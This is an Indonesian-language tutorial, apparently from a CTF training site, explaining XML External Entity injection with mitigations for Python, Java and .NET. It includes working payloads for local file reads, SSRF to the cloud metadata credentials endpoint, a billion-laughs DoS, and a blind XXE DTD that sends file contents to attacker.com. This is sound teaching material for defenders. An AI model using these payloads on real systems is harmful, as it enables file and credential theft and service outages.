TDCTF Academy Logo TDCTF ACADEMY

XML External Entity (XXE) Injection

Pendahuluan

XXE (XML External Entity) Injection adalah kerentanan yang terjadi ketika parser XML memproses input XML dengan external entity yang tidak aman. XML External Entity memungkinkan dokumen XML mendefinisikan entitas yang merujuk ke resource eksternal - baik file lokal maupun URL remote. Jika parser XML tidak dikonfigurasi dengan aman, penyerang dapat memanfaatkan entitas ini untuk membaca file, melakukan SSRF, atau menyebabkan denial of service.

XXE termasuk dalam OWASP Top 10 dan sering ditemukan pada aplikasi yang menggunakan XML untuk transfer data, konfigurasi, SOAP API, dokumen Office (DOCX, XLSX), SVG, dan RSS feeds.

Cara Kerja XXE

XML memiliki fitur DTD (Document Type Definition) yang memungkinkan pendefinisian entitas. Entitas eksternal didefinisikan dengan keyword SYSTEM yang merujuk ke URI:

<!ENTITY name SYSTEM "URI">

Saat parser XML memproses dokumen yang mengandung entitas ini, ia akan mengganti referensi &name; dengan konten dari URI yang ditentukan.

Contoh Serangan XXE

1. File Disclosure (Membaca File Lokal)

Penyerang dapat membaca file sensitif dari server:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Saat aplikasi menampilkan atau memproses nilai &xxe;, konten /etc/passwd akan dimasukkan ke dalam output.

Payload untuk membaca file lain:

<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
<!ENTITY xxe SYSTEM "file:///proc/1/environ">

2. SSRF via XXE

Penyerang menggunakan XXE untuk melakukan request ke sistem internal:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root>&xxe;</root>

Ini memungkinkan penyerang mengakses cloud metadata service melalui server aplikasi, seperti pada serangan SSRF.

3. Denial of Service (Billion Laughs Attack)

Serangan entity expansion tanpa external entity, menggunakan entitas bersarang yang menyebabkan konsumsi memori besar:

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!-- ... expanded hingga lol9 -->
]>
<root>&lol9;</root>

Dokumen pendek ini bisa memakan gigabytes memori saat diparse oleh parser yang tidak membatasi entity expansion.

4. Blind XXE

Ketika output dari entity tidak dikembalikan ke penyerang, penyerang menggunakan teknik out-of-band untuk mengeksfiltrasi data:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&xxe;</root>

File DTD di server penyerang:

<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://attacker.com/data?content=%file;'>">
%all;

Data akan dikirim ke server penyerang melalui HTTP request.

5. Error-Based XXE

Menggunakan pesan error parser XML yang berisi data yang dibaca:

<!ENTITY xxe SYSTEM "file:///nonexistent/path">

Parser mungkin mengembalikan error yang menyertakan path file atau informasi sistem.

Dampak XXE

  • Data Breach: Membaca file sensitif seperti password, kunci SSH, source code.
  • SSRF: Melakukan scanning dan eksploitasi jaringan internal.
  • Denial of Service: Menghabiskan resource server.
  • RCE: Pada konfigurasi tertentu (PHP expect: wrapper, atau kombinasi dengan SSRF ke service rentan).
  • Authentication Bypass: Membaca konfigurasi autentikasi atau token.

Mitigasi

1. Disable External Entities (Paling Penting)

Konfigurasi parser XML untuk menonaktifkan DTD dan external entities:

Python (lxml):

from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False)

Java (DocumentBuilderFactory):

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

.NET:

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;

2. Gunakan Format Data yang Lebih Aman

Jika memungkinkan, gunakan JSON atau format data lain sebagai pengganti XML. JSON tidak memiliki konsep entity expansion atau external entity, sehingga tidak rentan terhadap XXE.

3. Input Validation

Validasi konten XML sebelum diparse:

  • Batasi ukuran maksimum dokumen XML
  • Gunakan boundary untuk entity expansion
  • Periksa keberadaan deklarasi DOCTYPE dalam input

4. Whitelist Allowed Entities

Jika DTD diperlukan, implementasikan whitelist entitas yang diizinkan dan blokir external entities.

5. Update Library Parser

Gunakan versi terbaru dari library parser XML yang memiliki default konfigurasi aman (secure-by-default).

6. Network Controls

Batasi akses jaringan dari parser XML. Jika parser tidak perlu mengakses resource eksternal, nonaktifkan network access.

Kesimpulan

XXE adalah kerentanan yang sering diabaikan karena XML sudah dianggap legacy, tetapi masih banyak digunakan di SOAP API, dokumen Office, dan format konfigurasi. Mitigasi paling efektif adalah menonaktifkan DTD dan external entities di parser XML. Jika XML tidak diperlukan, migrasi ke JSON atau format data modern lainnya sangat direkomendasikan.

PADA HALAMAN INI